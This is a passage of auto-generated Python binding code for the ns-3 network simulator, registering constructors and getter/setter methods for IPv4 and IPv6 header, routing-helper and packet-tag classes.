cls.add_method('SetLastFragment',
'void',
[])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetMayFragment() [member function]
cls.add_method('SetMayFragment',
'void',
[])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetMoreFragments() [member function]
cls.add_method('SetMoreFragments',
'void',
[])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetPayloadSize(uint16_t size) [member function]
cls.add_method('SetPayloadSize',
'void',
[param('uint16_t', 'size')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetProtocol(uint8_t num) [member function]
cls.add_method('SetProtocol',
'void',
[param('uint8_t', 'num')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetSource(ns3::Ipv4Address source) [member function]
cls.add_method('SetSource',
'void',
[param('ns3::Ipv4Address', 'source')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetTos(uint8_t tos) [member function]
cls.add_method('SetTos',
'void',
[param('uint8_t', 'tos')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetTtl(uint8_t ttl) [member function]
cls.add_method('SetTtl',
'void',
[param('uint8_t', 'ttl')])
return
def register_Ns3Ipv4ListRoutingHelper_methods(root_module, cls):
## ipv4-list-routing-helper.h (module 'internet'): ns3::Ipv4ListRoutingHelper::Ipv4ListRoutingHelper() [constructor]
cls.add_constructor([])
## ipv4-list-routing-helper.h (module 'internet'): ns3::Ipv4ListRoutingHelper::Ipv4ListRoutingHelper(ns3::Ipv4ListRoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4ListRoutingHelper const &', 'arg0')])
## ipv4-list-routing-helper.h (module 'internet'): ns3::Ipv4ListRoutingHelper * ns3::Ipv4ListRoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv4ListRoutingHelper *',
[],
is_const=True, is_virtual=True)
## ipv4-list-routing-helper.h (module 'internet'): void ns3::Ipv4ListRoutingHelper::Add(ns3::Ipv4RoutingHelper const & routing, int16_t priority) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ipv4RoutingHelper const &', 'routing'), param('int16_t', 'priority')])
## ipv4-list-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4ListRoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv4PacketInfoTag_methods(root_module, cls):
## ipv4-packet-info-tag.h (module 'internet'): ns3::Ipv4PacketInfoTag::Ipv4PacketInfoTag(ns3::Ipv4PacketInfoTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4PacketInfoTag const &', 'arg0')])
## ipv4-packet-info-tag.h (module 'internet'): ns3::Ipv4PacketInfoTag::Ipv4PacketInfoTag() [constructor]
cls.add_constructor([])
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## ipv4-packet-info-tag.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4PacketInfoTag::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-packet-info-tag.h (module 'internet'): ns3::TypeId ns3::Ipv4PacketInfoTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv4-packet-info-tag.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4PacketInfoTag::GetLocalAddress() const [member function]
cls.add_method('GetLocalAddress',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-packet-info-tag.h (module 'internet'): uint32_t ns3::Ipv4PacketInfoTag::GetRecvIf() const [member function]
cls.add_method('GetRecvIf',
'uint32_t',
[],
is_const=True)
## ipv4-packet-info-tag.h (module 'internet'): uint32_t ns3::Ipv4PacketInfoTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-packet-info-tag.h (module 'internet'): uint8_t ns3::Ipv4PacketInfoTag::GetTtl() const [member function]
cls.add_method('GetTtl',
'uint8_t',
[],
is_const=True)
## ipv4-packet-info-tag.h (module 'internet'): static ns3::TypeId ns3::Ipv4PacketInfoTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::SetAddress(ns3::Ipv4Address addr) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Ipv4Address', 'addr')])
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::SetLocalAddress(ns3::Ipv4Address addr) [member function]
cls.add_method('SetLocalAddress',
'void',
[param('ns3::Ipv4Address', 'addr')])
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::SetRecvIf(uint32_t ifindex) [member function]
cls.add_method('SetRecvIf',
'void',
[param('uint32_t', 'ifindex')])
## ipv4-packet-info-tag.h (module 'internet'): void ns3::Ipv4PacketInfoTag::SetTtl(uint8_t ttl) [member function]
cls.add_method('SetTtl',
'void',
[param('uint8_t', 'ttl')])
return
def register_Ns3Ipv6ExtensionHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHeader::Ipv6ExtensionHeader(ns3::Ipv6ExtensionHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHeader::Ipv6ExtensionHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint16_t ns3::Ipv6ExtensionHeader::GetLength() const [member function]
cls.add_method('GetLength',
'uint16_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint8_t ns3::Ipv6ExtensionHeader::GetNextHeader() const [member function]
cls.add_method('GetNextHeader',
'uint8_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHeader::SetLength(uint16_t length) [member function]
cls.add_method('SetLength',
'void',
[param('uint16_t', 'length')])
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHeader::SetNextHeader(uint8_t nextHeader) [member function]
cls.add_method('SetNextHeader',
'void',
[param('uint8_t', 'nextHeader')])
return
def register_Ns3Ipv6ExtensionHopByHopHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHopByHopHeader::Ipv6ExtensionHopByHopHeader(ns3::Ipv6ExtensionHopByHopHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionHopByHopHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionHopByHopHeader::Ipv6ExtensionHopByHopHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionHopByHopHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionHopByHopHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionHopByHopHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionHopByHopHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHopByHopHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionHopByHopHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6ExtensionRoutingHeader_methods(root_module, cls):
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionRoutingHeader::Ipv6ExtensionRoutingHeader(ns3::Ipv6ExtensionRoutingHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ExtensionRoutingHeader const &', 'arg0')])
## ipv6-extension-header.h (module 'internet'): ns3::Ipv6ExtensionRoutingHeader::Ipv6ExtensionRoutingHeader() [constructor]
cls.add_constructor([])
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionRoutingHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-extension-header.h (module 'internet'): ns3::TypeId ns3::Ipv6ExtensionRoutingHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): uint8_t ns3::Ipv6ExtensionRoutingHeader::GetSegmentsLeft() const [member function]
cls.add_method('GetSegmentsLeft',
'uint8_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): uint32_t ns3::Ipv6ExtensionRoutingHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6ExtensionRoutingHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-extension-header.h (module 'internet'): uint8_t ns3::Ipv6ExtensionRoutingHeader::GetTypeRouting() const [member function]
cls.add_method('GetTypeRouting',
'uint8_t',
[],
is_const=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionRoutingHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionRoutingHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionRoutingHeader::SetSegmentsLeft(uint8_t segmentsLeft) [member function]
cls.add_method('SetSegmentsLeft',
'void',
[param('uint8_t', 'segmentsLeft')])
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionRoutingHeader::SetTypeRouting(uint8_t typeRouting) [member function]
cls.add_method('SetTypeRouting',
'void',
[param('uint8_t', 'typeRouting')])
return
def register_Ns3Ipv6Header_methods(root_module, cls):
## ipv6-header.h (module 'internet'): ns3::Ipv6Header::Ipv6Header(ns3::Ipv6Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Header const &', 'arg0')])
## ipv6-header.h (module 'internet'): ns3::Ipv6Header::Ipv6Header() [constructor]
cls.add_constructor([])
## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Header::GetDestinationAddress() const [member function]
cls.add_method('GetDestinationAddress',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::GetFlowLabel() const [member function]
cls.add_method('GetFlowLabel',
'uint32_t',
[],
is_const=True)
## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetHopLimit() const [member function]
cls.add_method('GetHopLimit',
'uint8_t',
[],
is_const=True)
## ipv6-header.h (module 'internet'): ns3::TypeId ns3::Ipv6Header::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetNextHeader() const [member function]
cls.add_method('GetNextHeader',
'uint8_t',
[],
is_const=True)
## ipv6-header.h (module 'internet'): uint16_t ns3::Ipv6Header::GetPayloadLength() const [member function]
cls.add_method('GetPayloadLength',
'uint16_t',
[],
is_const=True)
## ipv6-header.h (module 'internet'): uint32_t ns3::Ipv6Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Header::GetSourceAddress() const [member function]
cls.add_method('GetSourceAddress',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-header.h (module 'internet'): uint8_t ns3::Ipv6Header::GetTrafficClass() const [member function]
cls.add_method('GetTrafficClass',
'uint8_t',
[],
is_const=True)
## ipv6-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetDestinationAddress(ns3::Ipv6Address dst) [member function]
cls.add_method('SetDestinationAddress',
'void',
[param('ns3::Ipv6Address', 'dst')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetFlowLabel(uint32_t flow) [member function]
cls.add_method('SetFlowLabel',
'void',
[param('uint32_t', 'flow')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetHopLimit(uint8_t limit) [member function]
cls.add_method('SetHopLimit',
'void',
[param('uint8_t', 'limit')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetNextHeader(uint8_t next) [member function]
cls.add_method('SetNextHeader',
'void',
[param('uint8_t', 'next')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetPayloadLength(uint16_t len) [member function]
cls.add_method('SetPayloadLength',
'void',
[param('uint16_t', 'len')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetSourceAddress(ns3::Ipv6Address src) [member function]
cls.add_method('SetSourceAddress',
'void',
[param('ns3::Ipv6Address', 'src')])
## ipv6-header.h (module 'internet'): void ns3::Ipv6Header::SetTrafficClass(uint8_t traffic) [member function]
cls.add_method('SetTrafficClass',
'void',
[param('uint8_t', 'traffic')])
return
def register_Ns3Ipv6ListRoutingHelper_methods(root_module, cls):
## ipv6-list-routing-helper.h (module 'internet'): ns3::Ipv6ListRoutingHelper::Ipv6ListRoutingHelper() [constructor]
cls.add_constructor([])
## ipv6-list-routing-helper.h (module 'internet'): ns3::Ipv6ListRoutingHelper::Ipv6ListRoutingHelper(ns3::Ipv6ListRoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ListRoutingHelper const &', 'arg0')])
## ipv6-list-routing-helper.h (module 'internet'): ns3::Ipv6ListRoutingHelper * ns3::Ipv6ListRoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv6ListRoutingHelper *',
[],
is_const=True, is_virtual=True)
## ipv6-list-routing-helper.h (module 'internet'): void ns3::Ipv6ListRoutingHelper::Add(ns3::Ipv6RoutingHelper const & routing, int16_t priority) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ipv6RoutingHelper const &', 'routing'), param('int16_t', 'priority')])
## ipv6-list-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6ListRoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6OptionHeader_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Ipv6OptionHeader(ns3::Ipv6OptionHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionHeader const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Ipv6OptionHeader() [constructor]
cls.add_constructor([])
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment ns3::Ipv6OptionHeader::GetAlignment() const [member function]
cls.add_method('GetAlignment',
'ns3::Ipv6OptionHeader::Alignment',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::TypeId ns3::Ipv6OptionHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint8_t ns3::Ipv6OptionHeader::GetLength() const [member function]
cls.add_method('GetLength',
'uint8_t',
[],
is_const=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint8_t ns3::Ipv6OptionHeader::GetType() const [member function]
cls.add_method('GetType',
'uint8_t',
[],
is_const=True)
## ipv6-option-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6OptionHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionHeader::SetLength(uint8_t length) [member function]
cls.add_method('SetLength',
'void',
[param('uint8_t', 'length')])
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionHeader::SetType(uint8_t type) [member function]
cls.add_method('SetType',
'void',
[param('uint8_t', 'type')])
return
def register_Ns3Ipv6OptionHeaderAlignment_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment::Alignment() [constructor]
cls.add_constructor([])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment::Alignment(ns3::Ipv6OptionHeader::Alignment const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionHeader::Alignment const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment::factor [variable]
cls.add_instance_attribute('factor', 'uint8_t', is_const=False)
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment::offset [variable]
cls.add_instance_attribute('offset', 'uint8_t', is_const=False)
return
def register_Ns3Ipv6OptionJumbogramHeader_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionJumbogramHeader::Ipv6OptionJumbogramHeader(ns3::Ipv6OptionJumbogramHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionJumbogramHeader const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionJumbogramHeader::Ipv6OptionJumbogramHeader() [constructor]
cls.add_constructor([])
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionJumbogramHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment ns3::Ipv6OptionJumbogramHeader::GetAlignment() const [member function]
cls.add_method('GetAlignment',
'ns3::Ipv6OptionHeader::Alignment',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionJumbogramHeader::GetDataLength() const [member function]
cls.add_method('GetDataLength',
'uint32_t',
[],
is_const=True)
## ipv6-option-header.h (module 'internet'): ns3::TypeId ns3::Ipv6OptionJumbogramHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionJumbogramHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6OptionJumbogramHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionJumbogramHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionJumbogramHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionJumbogramHeader::SetDataLength(uint32_t dataLength) [member function]
cls.add_method('SetDataLength',
'void',
[param('uint32_t', 'dataLength')])
return
def register_Ns3Ipv6OptionPad1Header_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPad1Header::Ipv6OptionPad1Header(ns3::Ipv6OptionPad1Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionPad1Header const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPad1Header::Ipv6OptionPad1Header() [constructor]
cls.add_constructor([])
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionPad1Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::TypeId ns3::Ipv6OptionPad1Header::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionPad1Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6OptionPad1Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionPad1Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionPad1Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6OptionPadnHeader_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPadnHeader::Ipv6OptionPadnHeader(ns3::Ipv6OptionPadnHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionPadnHeader const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionPadnHeader::Ipv6OptionPadnHeader(uint32_t pad=2) [constructor]
cls.add_constructor([param('uint32_t', 'pad', default_value='2')])
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionPadnHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::TypeId ns3::Ipv6OptionPadnHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionPadnHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6OptionPadnHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionPadnHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionPadnHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
return
def register_Ns3Ipv6OptionRouterAlertHeader_methods(root_module, cls):
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionRouterAlertHeader::Ipv6OptionRouterAlertHeader(ns3::Ipv6OptionRouterAlertHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6OptionRouterAlertHeader const &', 'arg0')])
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionRouterAlertHeader::Ipv6OptionRouterAlertHeader() [constructor]
cls.add_constructor([])
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionRouterAlertHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::Ipv6OptionHeader::Alignment ns3::Ipv6OptionRouterAlertHeader::GetAlignment() const [member function]
cls.add_method('GetAlignment',
'ns3::Ipv6OptionHeader::Alignment',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): ns3::TypeId ns3::Ipv6OptionRouterAlertHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): uint32_t ns3::Ipv6OptionRouterAlertHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): static ns3::TypeId ns3::Ipv6OptionRouterAlertHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-option-header.h (module 'internet'): uint16_t ns3::Ipv6OptionRouterAlertHeader::GetValue() const [member function]
cls.add_method('GetValue',
'uint16_t',
[],
is_const=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionRouterAlertHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionRouterAlertHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
